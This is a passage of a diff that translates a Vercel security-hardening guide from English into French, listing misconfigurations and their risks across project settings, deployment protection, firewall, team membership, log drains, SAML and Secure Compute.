+- **Risque :** Changements non autorisés ou accès à des applications en direct, entraînant des temps d'arrêt potentiels ou des violations de données.
 
 ---
 
-### Environment Variables
+### Variables d'environnement
 
-**Purpose:** Manage environment-specific variables and secrets used by the application.
+**Objectif :** Gérer les variables et secrets spécifiques à l'environnement utilisés par l'application.
 
-#### Security Configurations:
+#### Configurations de sécurité :
 
-- **Exposing Sensitive Variables**
-  - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
-  - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
-- **Sensitive disabled**
-  - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
-  - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
-- **Shared Environment Variables**
-  - **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
-  - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
+- **Exposition de variables sensibles**
+- **Mauvaise configuration :** Préfixer les variables sensibles avec `NEXT_PUBLIC_`, les rendant accessibles côté client.
+- **Risque :** Exposition de clés API, d'identifiants de base de données ou d'autres données sensibles au public, entraînant des violations de données.
+- **Sensibles désactivés**
+- **Mauvaise configuration :** Si désactivé (par défaut), il est possible de lire les valeurs des secrets générés.
+- **Risque :** Augmentation de la probabilité d'exposition accidentelle ou d'accès non autorisé à des informations sensibles.
+- **Variables d'environnement partagées**
+- **Mauvaise configuration :** Ce sont des variables d'environnement définies au niveau de l'équipe et pourraient également contenir des informations sensibles.
+- **Risque :** Augmentation de la probabilité d'exposition accidentelle ou d'accès non autorisé à des informations sensibles.
 
 ---
 
 ### Git
 
-**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
+**Objectif :** Configurer les intégrations de dépôt Git, les protections de branche et les déclencheurs de déploiement.
 
-#### Security Configurations:
+#### Configurations de sécurité :
 
-- **Ignored Build Step (TODO)**
-  - **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
-  - **Risk:** TBD
+- **Étape de build ignorée (TODO)**
+- **Mauvaise configuration :** Il semble que cette option permette de configurer un script/commandes bash qui seront exécutés lorsqu'un nouveau commit est poussé dans Github, ce qui pourrait permettre RCE.
+- **Risque :** À déterminer
 
 ---
 
-### Integrations
+### Intégrations
 
-**Purpose:** Connect third-party services and tools to enhance project functionalities.
+**Objectif :** Connecter des services et outils tiers pour améliorer les fonctionnalités du projet.
 
-#### Security Configurations:
+#### Configurations de sécurité :
 
-- **Insecure Third-Party Integrations**
-  - **Misconfiguration:** Integrating with untrusted or insecure third-party services.
-  - **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
-- **Over-Permissioned Integrations**
-  - **Misconfiguration:** Granting excessive permissions to integrated services.
-  - **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
-- **Lack of Integration Monitoring**
-  - **Misconfiguration:** Failing to monitor and audit third-party integrations.
-  - **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
+- **Intégrations tierces non sécurisées**
+- **Mauvaise configuration :** Intégration avec des services tiers non fiables ou non sécurisés.
+- **Risque :** Introduction de vulnérabilités, fuites de données ou portes dérobées via des intégrations compromises.
+- **Intégrations sur-autorisation**
+- **Mauvaise configuration :** Accorder des permissions excessives aux services intégrés.
+- **Risque :** Accès non autorisé aux ressources du projet, manipulation de données ou interruptions de service.
+- **Absence de surveillance des intégrations**
+- **Mauvaise configuration :** Échec de la surveillance et de l'audit des intégrations tierces.
+- **Risque :** Détection retardée des intégrations compromises, augmentant l'impact potentiel des violations de sécurité.
 
 ---
 
-### Deployment Protection
+### Protection des déploiements
 
-**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
+**Objectif :** Sécuriser les déploiements grâce à divers mécanismes de protection, contrôlant qui peut accéder et déployer dans vos environnements.
 
-#### Security Configurations:
+#### Configurations de sécurité :
 
-**Vercel Authentication**
+**Authentification Vercel**
 
-- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
-- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
+- **Mauvaise configuration :** Désactiver l'authentification ou ne pas appliquer de vérifications des membres de l'équipe.
+- **Risque :** Des utilisateurs non autorisés peuvent accéder aux déploiements, entraînant des violations de données ou un abus de l'application.
 
-**Protection Bypass for Automation**
+**Contournement de protection pour l'automatisation**
 
-- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
-- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
+- **Mauvaise configuration :** Exposer le secret de contournement publiquement ou utiliser des secrets faibles.
+- **Risque :** Les attaquants peuvent contourner les protections de déploiement, accédant et manipulant des déploiements protégés.
 
-**Shareable Links**
+**Liens partageables**
 
-- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
-- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
+- **Mauvaise configuration :** Partager des liens sans discernement ou ne pas révoquer les liens obsolètes.
+- **Risque :** Accès non autorisé aux déploiements protégés, contournant l'authentification et les restrictions IP.
 
-**OPTIONS Allowlist**
+**OPTIONS Liste blanche**
 
-- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
-- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
+- **Mauvaise configuration :** Autoriser des chemins ou des points de terminaison sensibles trop larges.
+- **Risque :** Les attaquants peuvent exploiter des chemins non protégés pour effectuer des actions non autorisées ou contourner les vérifications de sécurité.
 
-**Password Protection**
+**Protection par mot de passe**
 
-- **Misconfiguration:** Using weak passwords or sharing them insecurely.
-- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
-- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
+- **Mauvaise configuration :** Utiliser des mots de passe faibles ou les partager de manière non sécurisée.
+- **Risque :** Accès non autorisé aux déploiements si les mots de passe sont devinés ou divulgués.
+- **Remarque :** Disponible dans le plan **Pro** dans le cadre de la **Protection avancée des déploiements** pour un coût supplémentaire de 150 $/mois.
 
-**Deployment Protection Exceptions**
+**Exceptions de protection des déploiements**
 
-- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
-- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
-- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
+- **Mauvaise configuration :** Ajouter des domaines de production ou sensibles à la liste des exceptions par inadvertance.
+- **Risque :** Exposition de déploiements critiques au public, entraînant des fuites de données ou un accès non autorisé.
+- **Remarque :** Disponible dans le plan **Pro** dans le cadre de la **Protection avancée des déploiements** pour un coût supplémentaire de 150 $/mois.
 
-**Trusted IPs**
+**IPs de confiance**
 
-- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
-- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
-- **Note:** Available on the **Enterprise** plan.
+- **Mauvaise configuration :** Spécification incorrecte des adresses IP ou des plages CIDR.
+- **Risque :** Utilisateurs légitimes étant bloqués ou IP non autorisées accédant.
+- **Remarque :** Disponible dans le plan **Enterprise**.
 
 ---
 
-### Functions
+### Fonctions
 
-**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
+**Objectif :** Configurer des fonctions sans serveur, y compris les paramètres d'exécution, l'allocation de mémoire et les politiques de sécurité.
 
-#### Security Configurations:
+#### Configurations de sécurité :
 
-- **Nothing**
+- **Rien**
 
 ---
 
-### Data Cache
+### Cache de données
 
-**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
+**Objectif :** Gérer les stratégies et paramètres de mise en cache pour optimiser les performances et contrôler le stockage des données.
 
-#### Security Configurations:
+#### Configurations de sécurité :
 
-- **Purge Cache**
-  - **Misconfiguration:** It allows to delete all the cache.
-  - **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
+- **Purger le cache**
+- **Mauvaise configuration :** Cela permet de supprimer tout le cache.
+- **Risque :** Utilisateurs non autorisés supprimant le cache, entraînant un potentiel DoS.
 
 ---
 
-### Cron Jobs
+### Tâches Cron
 
-**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
+**Objectif :** Planifier des tâches et scripts automatisés à exécuter à des intervalles spécifiés.
 
-#### Security Configurations:
+#### Configurations de sécurité :
 
-- **Disable Cron Job**
-  - **Misconfiguration:** It allows to disable cron jobs declared inside the code
-  - **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
+- **Désactiver la tâche Cron**
+- **Mauvaise configuration :** Cela permet de désactiver les tâches cron déclarées dans le code
+- **Risque :** Interruption potentielle du service (selon ce que les tâches cron étaient censées faire)
 
 ---
 
-### Log Drains
+### Drains de journal
 
-**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
+**Objectif :** Configurer des services de journalisation externes pour capturer et stocker les journaux d'application pour la surveillance et l'audit.
 
-#### Security Configurations:
+#### Configurations de sécurité :
 
-- Nothing (managed from teams settings)
+- Rien (géré depuis les paramètres d'équipe)
 
 ---
 
-### Security
+### Sécurité
 
-**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
+**Objectif :** Hub central pour divers paramètres liés à la sécurité affectant l'accès au projet, la protection des sources, et plus encore.
 
-#### Security Configurations:
+#### Configurations de sécurité :
 
-**Build Logs and Source Protection**
+**Journaux de build et protection des sources**
 
-- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
-- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
+- **Mauvaise configuration :** Désactiver la protection ou exposer les chemins `/logs` et `/src` publiquement.
+- **Risque :** Accès non autorisé aux journaux de build et au code source, entraînant des fuites d'informations et une exploitation potentielle des vulnérabilités.
 
-**Git Fork Protection**
+**Protection des forks Git**
 
-- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
-- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
+- **Mauvaise configuration :** Autoriser des demandes de tirage non autorisées sans examens appropriés.
+- **Risque :** Du code malveillant peut être fusionné dans la base de code, introduisant des vulnérabilités ou des portes dérobées.
 
-**Secure Backend Access with OIDC Federation**
+**Accès backend sécurisé avec fédération OIDC**
 
-- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
-- **Risk:** Unauthorized access to backend services through flawed authentication flows.
+- **Mauvaise configuration :** Configuration incorrecte des paramètres OIDC ou utilisation d'URL d'émetteur non sécurisées.
+- **Risque :** Accès non autorisé aux services backend via des flux d'authentification défectueux.
 
-**Deployment Retention Policy**
+**Politique de conservation des déploiements**
 
-- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
-- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
+- **Mauvaise configuration :** Définir des périodes de conservation trop courtes (perte de l'historique des déploiements) ou trop longues (conservation de données inutiles).
+- **Risque :** Incapacité à effectuer des rollbacks lorsque nécessaire ou risque accru d'exposition des données provenant d'anciens déploiements.
 
-**Recently Deleted Deployments**
+**Déploiements récemment supprimés**
 
-- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
-- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
+- **Mauvaise configuration :** Ne pas surveiller les déploiements supprimés ou se fier uniquement aux suppressions automatisées.
+- **Risque :** Perte de l'historique critique des déploiements, entravant les audits et les rollbacks.
 
 ---
 
-### Advanced
+### Avancé
 
-**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
+**Objectif :** Accès à des paramètres de projet supplémentaires pour peaufiner les configurations et améliorer la sécurité.
 
-#### Security Configurations:
+#### Configurations de sécurité :
 
-**Directory Listing**
+**Liste de répertoires**
 
-- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
-- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
+- **Mauvaise configuration :** Activer la liste de répertoires permet aux utilisateurs de voir le contenu des répertoires sans fichier d'index.
+- **Risque :** Exposition de fichiers sensibles, de la structure de l'application et de points d'entrée potentiels pour des attaques.
 
 ---
 
-## Project Firewall
+## Pare-feu du projet
 
-### Firewall
+### Pare-feu
 
-#### Security Configurations:
+#### Configurations de sécurité :
 
-**Enable Attack Challenge Mode**
+**Activer le mode défi d'attaque**
 
-- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
-- **Risk:** Potential user experience problems.
+- **Mauvaise configuration :** Activer cela améliore les défenses de l'application web contre les DoS mais au détriment de l'utilisabilité
+- **Risque :** Problèmes potentiels d'expérience utilisateur.
 
-### Custom Rules & IP Blocking
+### Règles personnalisées et blocage IP
 
-- **Misconfiguration:** Allows to unblock/block traffic
-- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
+- **Mauvaise configuration :** Permet de débloquer/bloquer le trafic
+- **Risque :** Potentiel DoS permettant un trafic malveillant ou bloquant un trafic bénin
 
 ---
 
-## Project Deployment
+## Déploiement du projet
 
 ### Source
 
-- **Misconfiguration:** Allows access to read the complete source code of the application
-- **Risk:** Potential exposure of sensitive information
+- **Mauvaise configuration :** Permet d'accéder à la lecture du code source complet de l'application
+- **Risque :** Exposition potentielle d'informations sensibles
 
-### Skew Protection
+### Protection contre le déséquilibre
 
-- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
-- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
+- **Mauvaise configuration :** Cette protection garantit que l'application client et serveur utilise toujours la même version afin qu'il n'y ait pas de désynchronisations où le client utilise une version différente de celle du serveur et donc ils ne se comprennent pas.
+- **Risque :** Désactiver cela (si activé) pourrait causer des problèmes de DoS dans de nouveaux déploiements à l'avenir
 
 ---
 
-## Team Settings
+## Paramètres de l'équipe
 
-### General
+### Général
 
-#### Security Configurations:
+#### Configurations de sécurité :
 
-- **Transfer**
-  - **Misconfiguration:** Allows to transfer all the projects to another team
-  - **Risk:** An attacker could steal the projects
-- **Delete Project**
-  - **Misconfiguration:** Allows to delete the team with all the projects&#x20;
-  - **Risk:** Delete the projects
+- **Transfert**
+- **Mauvaise configuration :** Permet de transférer tous les projets à une autre équipe
+- **Risque :** Un attaquant pourrait voler les projets
+- **Supprimer le projet**
+- **Mauvaise configuration :** Permet de supprimer l'équipe avec tous les projets&#x20;
+- **Risque :** Supprimer les projets
 
 ---
 
-### Billing
+### Facturation
 
-#### Security Configurations:
+#### Configurations de sécurité :
 
-- **Speed Insights Cost Limit**
-  - **Misconfiguration:** An attacker could increase this number
-  - **Risk:** Increased costs
+- **Limite de coût des Speed Insights**
+- **Mauvaise configuration :** Un attaquant pourrait augmenter ce nombre
+- **Risque :** Coûts accrus
 
 ---
 
-### Members
+### Membres
 
-#### Security Configurations:
+#### Configurations de sécurité :
 
-- **Add members**
-  - **Misconfiguration:** An attacker could maintain persitence inviting an account he control
-  - **Risk:** Attacker persistence
-- **Roles**
-  - **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
-  - **Risk**: Increate the exposure of the Vercel Team
+- **Ajouter des membres**
+- **Mauvaise configuration :** Un attaquant pourrait maintenir sa persistance en invitant un compte qu'il contrôle
+- **Risque :** Persistance de l'attaquant
+- **Rôles**
+- **Mauvaise configuration :** Accorder trop de permissions à des personnes qui n'en ont pas besoin augmente le risque de la configuration de Vercel. Vérifiez tous les rôles possibles sur [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
+- **Risque :** Augmente l'exposition de l'équipe Vercel
 
 ---
 
-### Access Groups
+### Groupes d'accès
 
-An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
+Un **Groupe d'accès** dans Vercel est une collection de projets et de membres d'équipe avec des attributions de rôles prédéfinies, permettant une gestion d'accès centralisée et rationalisée à travers plusieurs projets.
 
-**Potential Misconfigurations:**
+**Mauvaises configurations potentielles :**
 
-- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
-- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
-- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
-- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
-- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
+- **Sur-autorisation des membres :** Attribuer des rôles avec plus de permissions que nécessaire, entraînant un accès ou des actions non autorisées.
+- **Attributions de rôles incorrectes :** Attribuer incorrectement des rôles qui ne correspondent pas aux responsabilités des membres de l'équipe, provoquant une élévation de privilèges.
+- **Absence de séparation des projets :** Échec de la séparation des projets sensibles, permettant un accès plus large que prévu.
+- **Gestion de groupe insuffisante :** Ne pas examiner ou mettre à jour régulièrement les groupes d'accès, entraînant des permissions d'accès obsolètes ou inappropriées.
+- **Définitions de rôles incohérentes :** Utilisation de définitions de rôles incohérentes ou peu claires à travers différents groupes d'accès, entraînant confusion et lacunes de sécurité.
 
 ---
 
-### Log Drains
+### Drains de journal
 
-#### Security Configurations:
+#### Configurations de sécurité :
 
-- **Log Drains to third parties:**
-  - **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
-  - **Risk:** Partial persistence
+- **Drains de journal vers des tiers :**
+- **Mauvaise configuration :** Un attaquant pourrait configurer un Drain de journal pour voler les journaux
+- **Risque :** Persistance partielle
 
 ---
 
-### Security & Privacy
+### Sécurité et confidentialité
 
-#### Security Configurations:
+#### Configurations de sécurité :
 
-- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
-  - **Misconfiguration:**&#x20;
-    - Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
-    - Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
-  - **Risks:**
-    - **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
-      - **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
-- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
-  - **Misconfiguration:** Not adding critical Git scopes to the protected list.
-- **Risks:**
-  - **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
-  - **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
-- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
-  - **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
-  - **Risks:**
-    - **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
-      - **Data Breach:** Sensitive information like API keys and credentials could be leaked.
-- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
-  - **Misconfiguration:**\
-    Granting access to audit logs to unauthorized team members.
-  - **Risks:**
-    - **Privacy Violations:** Exposure of sensitive user activities and data.
-      - **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
-- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
-  - **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
-  - **Risk:** Maintain persistence
-- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
-  - **Misconfiguration:** Leaving IP address visibility enabled without necessity.
-  - **Risks:**
-    - **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
-    - **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
-- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
-  - **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
-  - **Risks:**
-    - **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
-    - **Operational Disruptions:** Loss of service availability for certain regions or clients.
+- **Domaine d'email de l'équipe :** Lorsqu'il est configuré, ce paramètre invite automatiquement les comptes personnels Vercel avec des adresses email se terminant par le domaine spécifié (par exemple, `mydomain.com`) à rejoindre votre équipe lors de l'inscription et sur le tableau de bord.
+- **Mauvaise configuration :**&#x20;
+- Spécifier le mauvais domaine email ou un domaine mal orthographié dans le paramètre de domaine d'email de l'équipe.
+- Utiliser un domaine email commun (par exemple, `gmail.com`, `hotmail.com`) au lieu d'un domaine spécifique à l'entreprise.
+- **Risques :**
+- **Accès non autorisé :** Des utilisateurs avec des adresses email de domaines non prévus peuvent recevoir des invitations à rejoindre votre équipe.
+- **Exposition des données :** Exposition potentielle d'informations sensibles sur le projet à des individus non autorisés.
+- **Scopes Git protégés :** Vous permet d'ajouter jusqu'à 5 scopes Git à votre équipe pour empêcher d'autres équipes Vercel de déployer des dépôts à partir du scope protégé. Plusieurs équipes peuvent spécifier le même scope, permettant l'accès aux deux équipes.
+- **Mauvaise configuration :** Ne pas ajouter des scopes Git critiques à la liste protégée.
+- **Risques :**
+- **Déploiements non autorisés :** D'autres équipes peuvent déployer des dépôts à partir des scopes Git de votre organisation sans autorisation.
+- **Exposition de la propriété intellectuelle :** Du code propriétaire pourrait être déployé et accessible en dehors de votre équipe.
+- **Politiques de variables d'environnement :** Applique des politiques pour la création et l'édition des variables d'environnement de l'équipe. En particulier, vous pouvez imposer que toutes les variables d'environnement soient créées en tant que **Variables d'environnement sensibles**, qui ne peuvent être décryptées que par le système de déploiement de Vercel.
+- **Mauvaise configuration :** Garder la mise en application des variables d'environnement sensibles désactivée.
+- **Risques :**
+- **Exposition des secrets :** Les variables d'environnement peuvent être vues ou éditées par des membres d'équipe non autorisés.
+- **Violation de données :** Des informations sensibles comme des clés API et des identifiants pourraient être divulguées.
+- **Journal d'audit :** Fournit une exportation de l'activité de l'équipe pour les 90 derniers jours. Les journaux d'audit aident à surveiller et à suivre les actions effectuées par les membres de l'équipe.
+- **Mauvaise configuration :**\
+Accorder l'accès aux journaux d'audit à des membres d'équipe non autorisés.
+- **Risques :**
+- **Violations de la vie privée :** Exposition d'activités et de données sensibles des utilisateurs.
+- **Altération des journaux :** Des acteurs malveillants pourraient modifier ou supprimer des journaux pour dissimuler leurs traces.
+- **SAML Single Sign-On :** Permet la personnalisation de l'authentification SAML et de la synchronisation des annuaires pour votre équipe, permettant l'intégration avec un fournisseur d'identité (IdP) pour une authentification et une gestion des utilisateurs centralisées.
+- **Mauvaise configuration :** Un attaquant pourrait créer une porte dérobée dans les paramètres de l'équipe en configurant des paramètres SAML tels que l'ID d'entité, l'URL SSO ou les empreintes de certificat.
+- **Risque :** Maintenir la persistance
+- **Visibilité des adresses IP :** Contrôle si les adresses IP, qui peuvent être considérées comme des informations personnelles en vertu de certaines lois sur la protection des données, sont affichées dans les requêtes de surveillance et les drains de journal.
+- **Mauvaise configuration :** Laisser la visibilité des adresses IP activée sans nécessité.
+- **Risques :**
+- **Violations de la vie privée :** Non-conformité aux réglementations sur la protection des données comme le RGPD.
+- **Répercussions légales :** Amendes et pénalités potentielles pour mauvaise gestion des données personnelles.
+- **Blocage IP :** Permet la configuration des adresses IP et des plages CIDR à partir desquelles Vercel doit bloquer les demandes. Les demandes bloquées ne contribuent pas à votre facturation.
+- **Mauvaise configuration :** Pourrait être abusée par un attaquant pour permettre un trafic malveillant ou bloquer un trafic légitime.
+- **Risques :**
+- **Refus de service aux utilisateurs légitimes :** Blocage d'accès pour des utilisateurs ou partenaires valides.
+- **Perturbations opérationnelles :** Perte de disponibilité de service pour certaines régions ou clients.
 
 ---
 
-### Secure Compute
+### Calcul sécurisé
 
-**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
+**Vercel Secure Compute** permet des connexions sécurisées et privées entre les fonctions Vercel et les environnements backend (par exemple, bases de données) en établissant des réseaux isolés avec des adresses IP dédiées. Cela élimine le besoin d'exposer les services backend publiquement, améliorant la sécurité, la conformité et la confidentialité.
 
-#### **Potential Misconfigurations and Risks**
+#### **Mauvaises configurations et risques potentiels**
 
-1. **Incorrect AWS Region Selection**
-   - **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
-   - **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
-2. **Overlapping CIDR Blocks**
-   - **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
-   - **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
-3. **Improper VPC Peering Configuration**
-   - **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
-   - **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
-4. **Excessive Project Assignments**
-   - **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
-   - **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
-5. **Inadequate IP Address Management**
-   - **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
-   - **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
-6. **Including Build Containers Unnecessarily**
-   - **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
-   - **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
-7. **Failure to Securely Handle Bypass Secrets**
-   - **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
-   - **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
-8. **Ignoring Region Failover Configurations**
-   - **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
-   - **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
-9. **Exceeding VPC Peering Connection Limits**
-   - **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
-   - **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
-10. **Insecure Network Settings**
-    - **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
-    - **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
+1. **Sélection incorrecte de la région AWS**
+- **Mauvaise configuration :** Choisir une région AWS pour le réseau Secure Compute qui ne correspond pas à la région des services backend.
+- **Risque :** Latence accrue, problèmes potentiels de conformité en matière de résidence des données et dégradation des performances.
+2. **Blocs CIDR qui se chevauchent**
+- **Mauvaise configuration :** Sélectionner des blocs CIDR qui se chevauchent avec des VPC existants ou d'autres réseaux.
+- **Risque :** Conflits de réseau entraînant des connexions échouées, un accès non autorisé ou des fuites de données entre les réseaux.
+3. **Configuration de peering VPC incorrecte**
+- **Mauvaise configuration :** Configuration incorrecte du peering VPC (par exemple, mauvais IDs de VPC, mises à jour incomplètes de la table de routage).
+- **Risque :** Accès non autorisé à l'infrastructure backend, connexions sécurisées échouées et violations potentielles de données.
+4. **Attributions de projet excessives**
+- **Mauvaise configuration :** Attribuer plusieurs projets à un seul réseau Secure Compute sans isolation appropriée.
+- **Risque :** L'exposition IP partagée augmente la surface d'attaque, permettant potentiellement à des projets compromis d'affecter d'autres.
+5. **Gestion inadéquate des adresses IP**
+- **Mauvaise configuration :** Échec de la gestion ou de la rotation appropriée des adresses IP dédiées.
+- **Risque :** Spoofing IP, vulnérabilités de suivi et potentiel de mise sur liste noire si les IP sont associées à des activités malveillantes.
+6. **Inclusion inutile de conteneurs de build**
+- **Mauvaise configuration :** Ajouter des conteneurs de build au réseau Secure Compute lorsque l'accès backend n'est pas requis pendant les builds.
+- **Risque :** Surface d'attaque élargie, délais de provisionnement accrus et consommation inutile des ressources réseau.
+7. **Échec de la gestion sécurisée des secrets de contournement**
+- **Mauvaise configuration :** Exposer ou mal gérer les secrets utilisés pour contourner les protections de déploiement.
+- **Risque :** Accès non autorisé aux déploiements protégés, permettant aux attaquants de manipuler ou de déployer du code malveillant.
+8. **Ignorer les configurations de basculement de région**
+- **Mauvaise configuration :** Ne pas configurer de régions de basculement passives ou configurer incorrectement les paramètres de basculement.
+- **Risque :** Temps d'arrêt du service lors des pannes de la région principale, entraînant une disponibilité réduite et une incohérence potentielle des données.
+9. **Dépassement des limites de connexion de peering VPC**
+- **Mauvaise configuration :** Essayer d'établir plus de connexions de peering VPC que la limite autorisée (par exemple, dépasser 50 connexions).
+- **Risque :** Incapacité à connecter en toute sécurité les services backend nécessaires, causant des échecs de déploiement et des perturbations opérationnelles.
+10. **Paramètres réseau non sécurisés**
+- **Mauvaise configuration :** Règles de pare-feu faibles, absence de cryptage ou segmentation réseau inappropriée au sein du réseau Secure Compute.
+- **Risque :** Interception de données, accès non autorisé aux services backend et vulnérabilité accrue aux attaques.
 
 ---
 
-### Environment Variables
+### Variables d'environnement
 
-**Purpose:** Manage environment-specific variables and secrets used by all the projects.
+**Objectif :** Gérer les variables et secrets spécifiques à l'environnement utilisés par tous les projets.
 
-#### Security Configurations:
+#### Configurations de sécurité :
 
-- **Exposing Sensitive Variables**
-  - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
-  - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
-- **Sensitive disabled**
